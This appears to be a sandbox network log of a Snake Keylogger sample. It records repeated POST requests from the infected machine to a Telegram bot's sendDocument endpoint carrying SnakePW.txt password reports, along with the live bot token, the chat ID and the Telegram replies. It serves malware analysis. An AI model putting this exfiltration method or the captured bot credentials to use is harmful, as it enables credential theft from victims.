Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
291	192.168.2.5	50225	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:43 UTC	491	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571a014885 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:43 UTC	491	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 61 30 31 34 38 38 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571a014885Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:43 UTC	492	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:43 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:43 UTC	492	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 37 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 38 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67078,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228883,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
292	192.168.2.5	50226	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:43 UTC	493	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571a3ce36e Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:43 UTC	493	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 61 33 63 65 33 36 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571a3ce36eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:43 UTC	493	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:43 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:43 UTC	494	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 37 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 38 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67079,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228883,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
293	192.168.2.5	50227	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:44 UTC	494	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571a787e1f Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:44 UTC	495	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 61 37 38 37 65 31 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571a787e1fContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:44 UTC	495	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:44 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:44 UTC	495	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 38 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 38 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67080,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228884,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
294	192.168.2.5	50228	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:44 UTC	496	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571ab1b686 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:44 UTC	496	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 61 62 31 62 36 38 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571ab1b686Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:44 UTC	497	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:44 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:44 UTC	497	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 38 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 38 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67081,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228884,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
295	192.168.2.5	50229	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:44 UTC	498	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571aed5200 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:44 UTC	498	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 61 65 64 35 32 30 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571aed5200Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:45 UTC	498	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:45 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:45 UTC	499	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 38 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 38 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67082,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228885,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
296	192.168.2.5	50230	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:45 UTC	499	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571b3739f6 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:45 UTC	500	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 62 33 37 33 39 66 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571b3739f6Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:45 UTC	500	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:45 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:45 UTC	501	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 38 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 38 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67083,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228885,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
297	192.168.2.5	50231	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:45 UTC	501	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571b7072c5 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:45 UTC	501	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 62 37 30 37 32 63 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571b7072c5Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:45 UTC	502	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:45 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:45 UTC	502	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 38 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 38 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67084,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228885,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
298	192.168.2.5	50232	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:46 UTC	503	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571ba9ab98 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:46 UTC	503	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 62 61 39 61 62 39 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data 